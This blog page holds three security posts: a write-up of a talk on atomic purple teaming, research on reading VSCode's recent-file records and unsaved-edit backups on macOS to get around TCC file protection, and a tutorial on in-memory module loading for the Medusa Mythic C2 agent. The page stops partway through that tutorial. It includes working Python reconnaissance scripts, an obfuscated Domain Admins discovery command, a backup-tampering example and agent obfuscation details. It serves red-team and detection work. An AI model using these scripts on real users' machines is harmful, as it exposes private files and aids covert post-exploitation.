ajpc500

Blue Team Con: Going Atomic

2022-08-30T21:04:54+00:00

In August 2022, I presented a talk “Going Atomic: The Strengths and Weaknesses of a Technique-centric Purple Teaming Approach” at Blue Team Con. As the talk wasn’t recorded, and my slides were relatively sparse, I thought some might find it useful to have a write-up of it to digest alongside the slides (which are available here).

Introduction

Purple team exercises are an ever more popular offensive testing activity for vendors and internal teams to perform. Done well, they bring together the knowledge of threat actor tradecraft from the ‘red’ side of the house, with the defensive focus of the ‘blue’ side, to assess, develop and maintain defensive capability.

Offensive Informs Defense

It’s a well-worn cliche to say ‘offense informs defense’, but in the unique context of adversarial emulation there’s nuance to it that’s worth considering.

Different forms of offensive testing inform different areas of our defense.

If we take a red team, for example - think a ‘full-chain’, covert, objective-based exercise - we’re testing all manner of defensive aspects, from our detection capability, to our response playbooks and processes, to the success of our user awareness training.

While not an activity many would consider classically ‘offensive’, a table top exercise does well to inform aspects of defense too. It allows us to test our response to a fictitious incident, and better understand how prepared… or unprepared… we are for a fully-fledged crisis. It gets our senior leaders in a room, alongside representatives from legal, technology, and more, and asks tough questions as to whether a ransom should be paid, when production systems should be brought down to protect the business, and what message should go out to the press.

So what part does atomic purple teaming play in informing defense?

Atomic vs. Scenario-based Purple Teaming

I would hazard a guess that for many, ‘purple teaming’ is most commonly considered to be a scenario-based exercise. An exercise not necessarily too far removed from a red team in terms of its technical delivery, but where defenders have some point-in-time understanding of what is taking place.

I’ve seen collaboration between red and blue in such purple teams to vary wildly, and can range from red and blue being co-located, so blue can get a feel for the attack process and what commands are being executed, etc. Through to details of domains and IPs, as well as potentially internal hosts used for assumed breach, being shared in advance to let the blue team know not to kick off an incident if/when alerts start bubbling up in the SIEM.

Let’s take an example of a scenario-based exercise. We’re emulating a ransomware group, based on the TTPs disclosed in everyone’s favourite emulation reference material, the Conti playbook. Considering an exercise that moves through an attack chain, achieving initial access, execution, persistence, and so on. There are several significant benefits of such an exercise, namely:

We’re achieving emulation potentially down to a procedural level.
We have an evidence-based appraisal of our defenses against a given threat.
We have the potential to exercise response playbooks and processes.

Where high-quality threat intelligence is available, which the Conti playbook undoubtedly is, we can run the commands as close as reasonably possible to how a legitimate actor would. Therefore, understanding exactly how our security tools, use cases, network design, etc. would fare in the event the actor performed their previously observed methodology against us.

Such information is great ammunition to fend off senior leadership when they get wind of something like the Conti playbook. We can confidently tell them, with data to back up the statement, ‘we’d probably be ok’.

We also have the opportunity to use such an exercise to test our response playbooks and processes. While we could do the same with something like a red team exercise, by comparison, a collaborative purple team is a far safer space for trying new things, seeing what works and what doesn’t, without the pressure of knowing we’re being assessed, and need to contain this threat as quickly and effectively as possible.

We considered how red teams and table top exercises informed our defense, and now we’ve thrown scenario-based purple teams into the mix to fill in some of the gaps too. But what doesn’t scenario-based purple teaming do for us?

Dechaining execution and maximising coverage

For a scenario-based purple team exercise, we likely have a handful of techniques we’ll aim to execute at each stage of the kill chain. Considering our Conti playbook again, this could be things like net and nltest commands for Discovery, ZeroLogon for some privilege escalation and maybe a sprinkling of avquery on the command line before we realise that should’ve been run in Cobalt Strike not Command Prompt.

At the initial access phase, a link in the body of an email might’ve been our technique of choice here, maybe delivering a smuggled payload or hosting a credential-grabbing fake login portal. All cool stuff, no doubt, but what are we doing about all the other initial access vectors that a five minute scroll through Twitter might highlight?

How would our mail filtering fare against an HTML attachment that smuggles a macro-enabled Word document in an ISO, specifically designed to bypass Mark of the Web? What about an LNK shortcut file nested in an ISO within a Zip?

A couple of reasonably convoluted delivery methods, but both legitimately used by threat actors in the wild.

So let’s consider an alternative approach to our scenario-based purple team. An approach where, instead of an end-to-end chain, we took each tactic (initial access, execution, discovery, etc.) and generated a list of the techniques we deemed to be most important for testing.

What should we execute?

We’re in the phase of generating the body of tests we want to execute in our atomic purple team - how do we decided what should go into that and what should not? How do we prioritise? How do we even find attack technique permutations in the first place?

There are many sources to draw from here, but four of interest include:

Threat Intelligence
Incident Write-ups
Offensive Testing Outputs
Security Tooling Capability

The first two are probably the most obvious - we can take the published techniques of threat groups of concern to us and distill these into our test cases. Reading through content provided by The DFIR Report is a great resource for this, where we have high quality output listing individual attacker commands and overall objectives.

The latter two of these points are probably a bit more interesting. Firstly, offensive testing output. Here we’re considering the red teams, scenario-based purple teams, etc. that are performed in our environments (either by internal teams or vendors). If there are detection improvements highlighted in those reports, why not fold them into our atomic purple teaming? If our ability to digest threat intelligence and general offensive trends isn’t as mature, leveraging the insight of external offensive testers and the techniques they use could be invaluable.

Secondly, security tooling capability. This is a uniquely different perspective that atomic purple teaming offers up. In contrast to considering our organisation and our relevant threat actors first, we focus on what a given tool, or tools, should give us in terms of detective/preventative capability. Say our CISO has returned from BlackHat and we suddenly have a new blinky box that supposedly mitigates all manner of Active Directory identity attacks. We can take any vendor-produced material, as well as our own understanding of the problem space, and generate a test suite to put it through its paces.

There are three primary themes I would put forward for the test suites we create. The first is ‘threat actor focussed’. With an understanding of the threat actors we expect to target us, based on our industry vertical or other actor behaviours, we can leverage the threat intelligence and incident write-ups we previously mentioned to draw up a suite of test cases that considers these actor techniques in aggregate.

Alternatively, we could take a given technology (or technologies), and focus our test suite here. When I say technology, I’m not just considering our blinky box example above. Consider a new cloud platform being deployed by your organisation. You could evaluate this platform in its entirety, digesting any produced threat modelling output (or do your own!), and producing a test suite that provides confidence in the SOC’s ability to detect malicious activity taking place within it. Nick Jones and I wrote a whitepaper on this last year, which goes into this in more detail if you embark on this process!

Finally, there is the research theme. There is no shortage of great research put out by the infosec community that can serve as the impetus for your purple team exercises. Take harmj0y and tifkin_’s phenominal Active Directory Certificate Services research from last year. This offers a wealth of attack types to explore and could be the sole focus for a purple team exercise.

An example of test case generation

Let’s add some meat to the bones here and take a look at what this test case generation process could look like. We’ll use techniques that fall under MITRE ID T1087.002 as an example.

T1087.002 - Domain Account Discovery: The attacker will attempt to discover who is a member of the privileged “Domain Admins” Active Directory group.

Here we’ve got four examples of procedural actions we could perform for this technique (not the only ones possible, of course).

The initial net command is probably the most common means of executing this technique, and one we could leverage a Sigma rule to detect.

It might be that your EDR or other endpoint security tool alerts upon this out-of-the-box, or maybe not. How would it perform against a second test where we obfuscate the command?

Set GROUP=“Domain Admins”
n^e^t g^r^o^u^p %GROUP% /d^o

Depending on the detection logic employed, this may still trigger, or maybe trigger a separate rule for the obfuscation technique used. The important outcome here is that we’re asking these questions of our defenses.

Consider the other three procedures in the slide above. Here we likely have to rely on different log sources. Our PowerShell command will require some Script Block Logging or similar, or some other telemetry provided by our EDR.

Usage of AdFind - every ransomware actor’s favourite third-party tool for AD recon! - might require different alerting logic, based on its command line arguments, or we might turn to our Anti-Virus or AppLocker logs for blocking/auditing information.

Finally, the in-memory execution of LDAP queries using a BOF or similar tool offers up another detection challenge. With no process creations or command-line arguments, do we have LDAP query telemetry from our EDR provider? Or some network or domain controller logs that could give us insight into these queries?

Obviously, there are many other permutations we could dig into here, including those simply targeting different high-value groups. The important takeaway is that many procedures can live under a single MITRE technique, and each might ask different questions of our detective toolset.

Let’s take our four example procedures and put them in some nominal sophistication pyramid, as above. You’ll note the asterisk on sophistication; the ordering isn’t really important here so if you feel that PowerShell should be above AdFind or something, that’s fine.

One final point to make here is that if you have a detection for the top of the pyramid - maybe due to anomalous LDAP queries coming from a given process - don’t take for granted that you have detections for all sophistication levels below it. As we’ve discussed, these all rely on different telemetry sources, and something relatively basic like our net commands might be a technique that our EDR has deemed too noisy to be a default alert. A bad assumption for us to make as we build up our detection capability!

Automation

Before we dive into the results we can capture from our atomic purple team, it’s worth mentioning the importance of automation. Automation amplifies many of the benefits of the atomic purple team methodology, not least of which repeatability and scalability.

If we define our techniques as code, they can be source-controlled and shared across teams that may not have the offensive skillset to run them manually. Considered as part of a detection engineering lifecycle, the repeatable nature of the automation means we can run techniques multiple times to confirm how they appear in logs and validate any use cases developed. This could then play a part in future regression testing too. Should we choose to, we could also run the same techniques with minimal effort across multiple environments.

There are several freely-available tools that facilitate this automation, and can bootstrap a purple teaming function without having to develop the code for a stack of techniques yourself. These include:

Results Data Produced by Atomic Purple Teaming

Once we’ve put together our test cases, we can start executing them and capturing results. There are three key data points I’d suggest you focus on recording (you might have others too, that’s fine).

Firstly, did it generate telemetry? It’s important to make a distinction here, in that we’re looking for actionable telemetry. In this context, that means two things in particular:

The logs are of suitably high-fidelity to identify the offensive action is taking place: Ultimately, you will have to be the judge of this, but an example might be a child process being spawned as part of Cobalt Strike’s execute-assembly functionality. Did we see a rundll32.exe process spawning when it was executed? Yes. Is this enough to reliably and repeatedly detect this malicious behaviour? No. Therefore, this test case would be marked as a failure.
These logs are available to the SOC for operationalisation: While we might have some high-fidelity logs from the point above, if the SOC cannot interrogate them, they’re of little use. An example of this might be a host running a well-configured Sysmon. While those logs will likely be invaluable for incident response, if they aren’t being shipped off to a centralised SIEM, they are of little value to the SOC. To summarise these two points, we’re looking for the right logs in the right place.

From an alerting perspective, things are much the same. Do we have high-fidelity alerts that accurately articulate the malicious action we’re testing, and are surfaced in a location the SOC are going to triage. If an alert is produced in a long-forgotten security portal that the SOC do not monitor, I’d suggest you could classify that as an alerting failure in the results.

The third result criteria is prevention. Fundamentally, we want to gain an understanding of what is possible in the environment from an offensive perspective. If we’ve invested effort in segregating our network, tuning our EDR to be as aggressive as possible, these results will provide technical evidence of that. This can also prove useful in prioritisation of remedial work; we might want to place a lower priority on developing alerting for techniques that are prevented, compared to those for which no mitigation (i.e. no alerting or prevention) exists.

VECTR is another freely-available tool that facilitates the capture of purple team results. It has a ton of features, but principally it allows you to track and produce metrics for purple team performance over time.

Applying Results - High-Level Evaluation

While you absolutely don’t have to execute test cases from across multiple MITRE tactics as part of a single atomic purple team, let’s assume we have, and we’ve captured the percentage of test cases for which we have telemetry, alerting and prevention. If we map those results on a graph, we might get something like the below:

Here we can immediately see strong telemetry coverage, with a poor performance in prevention, and a so-so performance for alerting. Now, the most effective means of understanding exactly why these results occurred is invariably to speak with the SOC or security teams to get a feel for their detection/prevention strategy, tooling and priorities.

Just glancing at the high-level results though, we might be dealing with a SOC at the start of its maturation journey. An initial investment in tooling might explain the high telemetry result, while the poor alert coverage could be the result of those logs (which we’ve deemed to be high-fidelity and in the correct location) not being leveraged to produce use cases just yet. Given we’ve run techniques from across MITRE ATT&CK in our example, the low prevention result might also give an indication of security hardening more broadly, with opportunities to tune mail filtering to prevent certain file types or an EDR configured more aggressively to prevent our Execution phase techniques.

An alternative outcome might look like the above. Here we see a strong preventative outcome, but poor performance in other areas. While the prevention score is great, it might suggest that an actor that does achieve a foothold in the environment could take time to find bypasses for any hardening measures encountered, without the SOC being notified.

Applying Results - Business Outcomes

With an understanding of how and what we can do with atomic purple teaming, let’s consider some applications of the results. There are four key areas I want to call our here:

Performance Benchmarking
Environment Comparison
Return on Investment
Industry Comparison

Performance Benchmarking

Regular atomic purple teaming offers the opportunity to benchmark detection/prevention performance and track improvement or regression over time.

While the same could be said for other metric-generating testing, such as red teams, atomic purple teaming generates far more data that enables granular and direct comparisons with previous tests. This is assuming the test cases run from one exercise to the next are the same.

There are a couple of key challenges to highlight when applying atomic purple teaming in this way:

TTPs evolve over time: While we can get most accurate comparisons by repeating test cases from one purple team exercise to the next, the threat landscape changes over time. Techniques that were once hugely prevalent may die out, while others may gain popularity.
The choice of test cases is critical: Related to the above, the relevance of test cases to real-world threat is crucial to the overall success of the purple team exercise. If our test cases aren’t representative of what threat actors are doing, we might ace an atomic purple team and not achieve the main aim of helping our organisation improve its defences.

Environment Comparison

Performing atomic purple teaming across corporate environments also allows for comparisons to be made. This is particularly valuable in larger organisations, where the detection coverage may differ across, say, regional and headquarter offices. Similar comparisons could be achieved against different endpoint builds (e.g. a new EDR configuration, new operating system upgrade, etc.), or on-premise vs. virtualised builds.

The main challenge here is ensuring the techniques executed across environments are relevant to all test locations. If one of your environments is a Citrix server, you might want to understand the detection coverage for attempted breakouts, while this of course would not be relevant in other locations.

Taken to the extreme, could you compare the results of a purple team performed against a cloud native application in AWS to those of a Windows 11 build? Would that be a fair or useful comparison?

Return on Investment

We’ve already discussed how our atomic purple teams can have a security tooling focus, specifically designed to see what a blinky box is capable of. Thinking more broadly though, the output of a purple team can help demonstrate Return on Investment (ROI).

Consider our first results graph above, with the high telemetry. Assuming our organisation has the foundational capability to build new use cases, what does a high telemetry and low alerting combination tell us? Maybe we’re not getting the most out of the tools we’re already paying for, and we could squeeze more from the visibility they give us?

There are two absolutely crucial challenges to mention here. The first is around the conversion of raw telemetry into viable alerts.

Raw Telemetry != Viable Alerts

The percentage difference between telemetry and alerting is something you might call the alerting potential.

Once you start digging into this alerting potential, you’ll quickly realise that there’s often a chasm between having visibility of a technique being executed, and being able to discern whether that technique execution is malicious or benign.

A good example might be something like SysInternals’s PsExec. While usage is often relatively easy to identify, if it is used ubiquitously in your environment, it might be nigh on impossible to discern the malicious activity from legitimate administrative tasks.

The result of this then, is that you’ll always have some unrealised alert potential. A fact that can get lost when considering all your atomic purple teaming results in aggregate.

Alert Prioritisation

In my opinion, one of the most dangerous habits to get into with atomic purple team is adopting a ‘Whac-a-Mole’ mindset when it comes to remediation. Not all techniques are created equal, and the effort required to take an alert into production should definitely be spent in some areas over others.

Take the execution of a DCSync attack, compared with running whoami. While there’s the potential for a well-designed whoami use case to alert upon successful privilege escalation or web shell activity, in most environments, a well-tuned DCSync alert is going to be near the top of any SOC’s shopping list.

The key takeaway here is to ensure that context isn’t lost when results are aggregated and disseminated to your senior stakeholders. Those high-level stats can be immensely useful to articulate progress and development, but the test suites you devise are likely not a ‘completable’ thing, in the sense that there won’t be an achievable 1:1 relationship between technique and alert. There’s also the added complication of relevant TTPs changing over time, and senior leadership questioning how capability has inexplicable gone down from one purple team to the next!

Industry Comparison

The final application of results we’ll mention here is comparison across industry. This is particularly relevant when atomic purple teaming is conducted by an external party.

Every senior leader wants to know how well they’ve fared compared to other firms in their industry. Given the nuance in all the areas that we’ve discussed up to now, it’s clear that it’s not an exact science and a definitive score can’t really be applied. Nevertheless, they’ll still push to know!

This, as you might expect, has its own challenges. In the event that you’re giving security leadership some less-than-fantastic news, they’ll quite understandably want to know how they bridge the gap. How do they get a ‘better score’ next time?

Given the complexity involved in developing and maintaining a SOC (and indeed the other business functions responsible for bumping up that prevention percentage), you have to leverage your experience at this point, and be mindful of your areas of inexperience too.

Chances are, most people conducting these purple team exercises won’t have managed a SOC before, or even worked in one, so the best thing to draw on is what you’ve seen from other organisations. Consider our PsExec example. There might be a very good reason that the SOC doesn’t have a detection for it, and the right recommendation to make might be upstream in the form of ‘standardisation of admin tools and processes’ rather than telling the SOC how to detect PsExec for the 15th report in a row!

Weaknesses of Atomic Purple Teaming

We’ve already touched on many of atomic purple team’s weaknesses in this blog. The main issues are as follows:

It plays into a ‘MITRE ATT&CK Whac-a-Mole’ mindset: Dechaining our attacks into individual techniques is prime spreadsheet-fodder. Approached in the wrong way, it can push the wrong behaviours, particularly when it comes to remedial actions.
It doesn’t test response playbooks and processes: Running test cases in our atomic fashion doesn’t offer much opportunity for the SOC to test its ability to respond to attack. Having said that, it does surface alerts that many analysts won’t have seen before. It also gives them invaluable practice using their tools to interrogate telemetry.
Good ‘atomic’ performance isn’t the whole story: Given the above, it’s clear that an organisation that performs well in an atomic purple team isn’t certain to perform well in the face of a real attack. Assuming the test cases we’ve been using to uplift the SOC are well chosen, it’s reasonable to assume the SOC would have a greater likelihood of detecting an attack, but the response from that point onwards is outside of what our purple team can test.
There’s a level of maturity required to gain value and digest results: The dataset generated by an atomic purple team has numerous applications, not least of which as a backlog for detection engineering. But an organisation needs to have the relevant security functions and capabilities to digest these exercises and action their findings. As an example, if there’s no technical capability to generate custom use cases, or no team with the relevant skills to do so, the organisation might be unable to improve until some key building blocks are in place.

Conclusions

Atomic purple teaming offers a great means to inform strategy, prioritisation and investment. Combined with automation, testing can be performed scalably and repeatably, the latter being hugely beneficial to detection engineering and subsequent regression testing. Tools such as Prelude Operator, Atomic Red Team and VECTR can facilitate this.

Crucially, this method of purple teaming is only ever as effective as the validity of the test cases performed. While regular atomic purple teams offer usable metrics that can feed back into the business and give an indication of general detection capability, testing against the wrong offensive techniques ultimately encourages an organisation to develop its defenses against the wrong threats.

Targeting Visual Studio Code for macOS: File Discovery and a TCC bypass (kinda)

2022-03-21T19:04:54+00:00

Introduction

In many environments, macOS endpoint users are synonymous with software and systems engineers. One application commonly used among this user group is Microsoft’s Visual Studio Code, aka VSCode.

With a rich marketplace of extensions that improve functionality for various programming languages, as well as interaction with cloud service providers and remote hosts, it’s a popular choice among a broad range of engineering roles (and beyond).

From an offensive testing perspective, macOS VSCode has already been explored by others as a means of persistence and code execution. @domchell’s blog highlights how a malicious VSCode extension could be used as a loader for JXA script content, while @svcghost takes this further with a fully-fledged cross-platform Mythic C2 Agent, Venus.

Looking at this from another angle however - this short blog explores the situational awareness that can be gleaned from VSCode, should an operator have obtained an initial foothold; while also considering what sensitive data might be exposed, which would otherwise be protected by Apple’s oft-maligned ‘Transparency, Consent and Control’ framework, aka TCC. We’ll also see these reconnaissance activities operationalised in the Mythic Medusa agent.

TL;DR

We can view a user’s recently accessed files in a couple of places:

In VSCode’s global sqlite state database at ~/Library/Application Support/Code/User/globalStorage/state.vscdb.
In a JSON file which (among other things) dictates what appears in VSCode’s menu bars at ~/Library/Application Support/Code/storage.json.

When a user makes changes to files in VSCode, until they’re saved, they’re backed up in temporary files within ~/Library/Application Support/Code/Backups/.

Files that may otherwise be protected by TCC, are accessible at this location (in their edited form) until a user saves them.
New files that have yet to be saved are also stored in this location.

The Mythic Medusa agent has three new functions to target the above behaviours:

vscode_list_recent - List recent files stored in the state database.
vscode_open_edits - List all edited and unsaved files.
vscode_watch_edits - Poll the Backups directory for file changes.

Recent Files

Having identified the usage of VSCode on our compromised endpoint, gaining an understanding of files and folders recently accessed by a user would be a good next step.

We can get some appreciation of this in a broader context by looking at recent files and folders from Finder. Tooling such as @its-a-feature_’s JXA script, HealthInspector, can help.

Under the hood, the Finder_Preferences() function reads the below plist file, showing us several pertinent entries:

~/Library/Preferences/com.apple.finder.plist

Here’s an abridged example of its output:

% osascript HealthInspector.js 
                                
**************************************
** Recent Folders and Finder Prefs **
**************************************
{
 "Recent Move and Copy Destinations": [
  "file:///Users/alfie/Desktop/",
  "file:///Users/alfie/Desktop/Python/",
  "file:///Users/alfie/Desktop/ObjC/"
 ],
 "Finder GoTo Folder Recents": [
  "/Users/alfie/Documents/SecretProject/"
 ],
 ... ,
 "Recent Folders": [
  "Code",
  "SecretProject",
  "Documents",
  "Desktop",
  "iCloud Drive"
 ]
}

For VSCode specifically, we can identify recent files and folders accessed by our user from one of two locations. The primary one being VSCode’s state database:

~/Library/Application Support/Code/User/globalStorage/state.vscdb

This file is a sqlite database that holds information pertaining to how VSCode is configured, including theme settings, installed extensions, and most importantly for us, recently opened files and folders.

Recently accessed files are listed under the key, history.recentlyOpenedPathsList, which we can identify with the following SQL query:

SELECT * FROM "ItemTable" 
WHERE KEY = "history.recentlyOpenedPathsList"

The below Python code can be used to execute the above query and pull out the data we’re looking for:

import os, sqlite3, json
from prettytable import PrettyTable
from pprint import pprint

path = "/Users/{}/Library/Application Support/Code/User/globalStorage/state.vscdb".format(os.environ["USER"])

x = PrettyTable()
x.field_names = ["Path", "Type"]
x.align["Path"] = "l"

with sqlite3.connect(path) as con:
    for row in con.execute('SELECT * FROM "ItemTable" WHERE KEY = "history.recentlyOpenedPathsList"'):
        data = json.loads(row[1])
        for entry in data["entries"]:
            if "folderUri" in entry:
                x.add_row([entry["folderUri"].replace("file://", ""), "folder"])
            elif "fileUri" in entry:
                x.add_row([entry["fileUri"].replace("file://", ""), "file"])
print(x)

This gives us the below output, notably highlighting instances where VSCode’s Remote SSH extension has been used to edit files on a remote host (useful for subsequent exploration!):

% python3 vscode_recent_files_state.py
+----------------------------------------------------------+--------+
| Path                                                     |  Type  |
+----------------------------------------------------------+--------+
| vscode-remote://ssh-remote%2Bmythic/mnt/share/Medusa     | folder |
| /Users/alfie/Desktop                                     | folder |
| /Users/alfie/Desktop/medusa.py                           |  file  |
| /Users/alfie/Desktop/hello.js                            |  file  |
| /Users/alfie/Desktop/test.js                             |  file  |
| /Users/alfie/Desktop/test.py                             |  file  |
+----------------------------------------------------------+--------+

The Mythic agent, Medusa, has a new built-in function to perform the above. Below we can see usage of the vscode_list_recent function. This targets the current user’s state database by default, but an alternative sqlite file path can be provided.

While the state file offers all we need in this instance, an alternative location we could assess is below:

~/Library/Application Support/Code/storage.json

Amongst other things, this JSON contains the information used to populate the menu bars, and most importantly for us the Open Recent option. A snippet of the JSON content is shown below:

{
    ... ,
    "lastKnownMenubarData": {
        "menus": {
            "File": {
                "items": [
                    ... ,
                    {
                        "id": "submenuitem.34",
                        "label": "Open &&Recent",
                        "submenu": {
                            "items": [
                                ... ,
                                {
                                    "id": "openRecentFolder",
                                    "uri": {
                                        "$mid": 1,
                                        "path": "/Users/alfie/Documents/SecretProject",
                                        "scheme": "file"
                                    },
                                    "enabled": true,
                                    "label": "~/Desktop/python"
                                },
                                {
                                    "id": "openRecentFile",
                                    "uri": {
                                        "$mid": 1,
                                        "path": "/Users/alfie/Desktop/test.py",
                                        "scheme": "file"
                                    },
                                    "enabled": true,
                                    "label": "~/Desktop/test.py"
                                },
                                ... ,
                            ]}}]}}}}

Just as we did before, the below Python code can be used to quickly pull out the recent files and folders:

import os, json
from prettytable import PrettyTable

path = "/Users/{}/Library/Application Support/Code/storage.json".format(os.environ["USER"])

x = PrettyTable()
x.field_names = ["Path", "Type"]
x.align["Path"] = "l"

with open(path, "r") as workspace_json:
    data = json.loads(workspace_json.read())
    recents = [item for item in data["lastKnownMenubarData"]["menus"]["File"]["items"] \
                    if 'label' in item and item["label"] == "Open &&Recent"][0]
    for item in recents["submenu"]["items"]:
        if item["id"] in ["openRecentFolder", "openRecentFile"]:
            if item["id"] == "openRecentFolder":
                x.add_row([item['uri']['path'], "folder"])
            elif item["id"] == "openRecentFile":
                x.add_row([item['uri']['path'], "file"])
print(x)

Which gives us the below output:

% python3 vscode_recent_files.py

+--------------------------------------+--------+
| Path                                 |  Type  |
+--------------------------------------+--------+
| /mnt/share/Medusa                    | folder |
| /Users/alfie/Desktop                 | folder |
| /Users/alfie/Documents/SecretProject | folder |
| /Users/alfie/Desktop/test.py         |  file  |
| /Users/alfie/Desktop/hello.js        |  file  |
| /Users/alfie/Desktop/test.js         |  file  |
+--------------------------------------+--------+

Open Edits

Reviewing the recent files and folders listed in the VSCode files above, we could identify high-value items unprotected by TCC and pursuant to our objective, and start sifting through those. But there’s another option available to us here.

For anyone that’s ever used VSCode, you’ll know that when you make changes to files and exit VSCode, reopening the application will present your modified, but unsaved, files. These edits must of course live somewhere on disk and this is where we have an opportunity to access files that may otherwise be protected by TCC.

To articulate how this can play out, we’ll walk through a scenario. We have a file we need to access in our target user’s Documents folder, at the following location:

~/Documents/SecretProject/secrets.txt

We can confirm we don’t have the privileges to read the file in our scenario by simply attempting to do so with the Terminal. Here we confirm it is protected by TCC:

Using the awesome Endpoint Security Framework event viewer, Crescendo, we can monitor file events when we open and edit our secrets.txt file in VSCode.

Here we note that upon making changes to our secrets.txt file, a new file is created in the following top-level folder:

~/Library/Application Support/Code/Backups/

Returning to our Terminal, let’s attempt to read the contents of that file:

Here we can view the unsaved changes our target user has made to files that would otherwise be protected by TCC.

By recursing through this Backups directory, we can see which files are being edited, as well as their modified times.

The following Python code could be used to achieve this:

import os, json
from pprint import pprint
from prettytable import PrettyTable
import time

path = "/Users/{}/Library/Application Support/Code/Backups".format(os.environ["USER"])

x = PrettyTable()
x.field_names = ["Backup File", "Original File", "Size", "Modified Time", "Type"]
x.align["Backup File"] = "l"
x.align["Original File"] = "l"

for root, dirs, files in os.walk(path):
   for file in files:
       if file != ".DS_Store" and file != "workspaces.json":
            path = os.path.join(root, file)
            with open(path, "r") as f:
                file_content = f.readlines()
                json_data = json.loads("{" + file_content[0].split("{")[1].rstrip())
                if os.path.basename(root) == "untitled":
                    x.add_row([path, file_content[0].split("{")[0].replace("untitled:","").rstrip(), "-", "-", "new"])
                else:
                    x.add_row([path, file_content[0].split("{")[0].replace("file://","").rstrip(), f"{json_data['size']} B", \
                        time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(json_data["mtime"]/1000)) ,"edit"])
print(x)

Which gives us the following output:

% python3 vscode_current_files.py
+----------------------------------------------------------------------------------------+--------------------------------------------------+------+----------------------------+------+
| Backup File                                                                            | Original File                                    | Size |       Modified Time        | Type |
+----------------------------------------------------------------------------------------+--------------------------------------------------+------+----------------------------+------+
| /Users/alfie/Library/Application Support/Code/Backups/1647364247571/file/-e8d5dbd      | /Users/alfie/Documents/SecretProject/secrets.txt | 16 B | 2022-03-16 18:58:05.608000 | edit |
| /Users/alfie/Library/Application Support/Code/Backups/1647364247571/untitled/-7f9c1a2e | Untitled-1                                       |  -   |             -              | new  |
+----------------------------------------------------------------------------------------+--------------------------------------------------+------+----------------------------+------+

Notably here, newly created files that haven’t been saved yet will also be backed up to this directory.

Once again returning to Mythic’s Medusa agent, we have a second new function. This time for triaging unsaved edits - vscode_open_edits. Below we can see an agent being tasked to retrieve unsaved edits, before we cat a backup file to see its contents.

Of course, as a user makes changes to files in VSCode and subsequently saves them, it would be advantageous to monitor this activity. One way to achieve this would be to repeatedly execute the above vscode_open_edits function and manually check for any changes. However, we have a third and final new function in Medusa, vscode_watch_edits, which polls the backup folder and reports on any changes. A demo of this can be seen in the below video, as we make incremental changes to a file in VSCode.

Bonus Round: Modifying An Open Edit

Whilst we have the ability to see the unsaved edits for files in VSCode, we also have the ability to make edits of our own. We can achieve this by modifying the backup files we discovered above.

In our scenario, we’ll modify the backup corresponding with our secrets.txt file to be the following:

file:///Users/alfie/Documents/SecretProject/secrets.txt {"mtime":1647457085608,"ctime":1647457085577,"size":16,"etag":"38ej27f0sg","orphaned":false,"typeId":""}
All the secrets are ours!

Returning to VSCode we’ll see that the open secrets.txt remains unchanged. However, we can prompt it to read from the backup file by terminating VSCode and restarting it.

In our contrived scenario, our changes to the one line in secrets.txt are rather obvious, but in the context of a larger open code-base, or some other open configuration files, this could prove valuable.

Further Work

There is a wealth of data present in VSCode’s global state datebase, as well as in individual workspaces’ state databases (i.e. those present in ~/Library/Application Support/Code/User/workspaceStorage/).

One such example is the data present under the codelens/cache2 key which includes details on the files opened in a given workspace, along with each file’s line count. No doubt there are plenty of other reconnaissance activities that could be facilitated here too.

Conclusions

In this short blog we’ve seen how several VSCode configuration files can be used to gain an understanding of the recent files and folders a user has accessed. This is particularly useful as the JSON and sqlite files in question fall outside of TCC’s protection.

Having identified recent access, we’ve also looked at how the mechanism by which VSCode ‘backs up’ unsaved edits can be exploited to view file content which could otherwise be protected by TCC. We’ve then seen how the Medusa Mythic agent’s new functions allow us to operationalise these reconnaissance activities.

The data exposure described in this blog was reported to Apple and MSRC in August 2021, both of which did not deem the issue to warrant a fix.

In-memory Python Modules with the Medusa Mythic Agent

2021-08-24T10:04:54+00:00

Medusa is a cross-platform Python agent developed for use with Cody Thomas’s Mythic. It has support for Python 2.7 and 3.8, and makes use of solely built-in libraries for its base agent. Using built-in libraries has obvious benefits in terms of being compatible with the broadest array of operating systems and Python installs. While we can do lots with solely built-in libraries, leveraging third-party libraries can be hugely enabling for post-exploitation activities.

The Python language itself caters readily to dynamic invocation of code, both in terms of on-the-fly execution of Python code through the eval() and exec() functions, and use of functions like setattr() which allows us to add new methods and attributes to existing instances of classes. The Medusa agent implements this concept to load new capabilities into an active agent while maintaining an initial script that is lightweight and provides little indication of what capabilities might be loaded post-execution.

Where this gets really interesting is combining the above with the ability to load third-parties libraries into a running agent as well. At a high-level, this is achieved by downloading a zipped python library into memory, and adding a custom finder object to the sys.meta_path. When a script or function attempts to load a library with an import statement, the custom finder is used to load the library from the in-memory zip.

Notably, this capability is nothing new. A proof-of-concept can be found here from 2015, and Empyre had an implementation that provided the capability to load new modules and execute scripts using these in-memory modules; a feature that Chris Ross also blogged about.

This blog will go through how this in-memory library loading can be operationalised, specifically for Medusa, and will also demonstrate how the ‘leg work’ of importing modules can be scripted using Mythic’s scripting API.

Medusa

For Medusa, this end-to-end workflow might look as follows:

Create agent script with the load function included.
Once launched, use the load function to add the load_module and load_script functions to the agent.
Use load_module to upload our zipped Python libraries into our agent.
Use load_script to upload and execute a custom script that makes use of the previously imported libraries.

To get us started, we’ll create an agent. We’ll assume you already have Mythic up-and-running and the Medusa agent installed (Medusa is compatible with version 2.2+).

Having selected your chosen platform (we’ll work with a Windows target for this blog), and configured your C2 connection, we’re presented with our build options.

Among these, we can select which Python version we need for our target, all of the functionality described in this blog is supported for Python 2.7 and 3.8.

Another configuration item of interest is the XOR and Base64-encode agent code option. As its name suggests, when selected, this Base64-encodes the agent code, XORs it with a randomly-generated value, then wraps the whole thing in an exec() function. An output of this can be seen below.

In the command selection window, we can configure which supported commands are pre-loaded in our agent script. All we really need here is the load command, as this enables us to bring down all the other functionality once executed. An XOR’d agent with just the load function is about 28kb in size.

Finishing up with the command selection, we can build our script, download, and execute it (making sure we use the same version of Python we targeted in the build section). All being well, we get a callback.

As mentioned, once we have our callback, we can use the load function to add the capabilities we need for in-memory module loading and script execution. Namely, load_module and load_script. We can also make use of list_modules and unload_modules to list our loaded modules and unload them again as needed.

DNS Resolution with the `dnspython` Library

With our agent active, and the necessary commands loaded, let’s move onto a simple PoC of the functionality. We’ll take a simple Python 2.7 script that makes use of the dnspython library to resolve a domain name.

import dns.resolver
answers = dns.resolver.query('google.com', 'A')
print "google.com A records:"
for rdata in answers:
    print rdata

For the purposes of this blog, we can simply download dnspython on our own system using pip with the following command:

python -m pip install dnspython

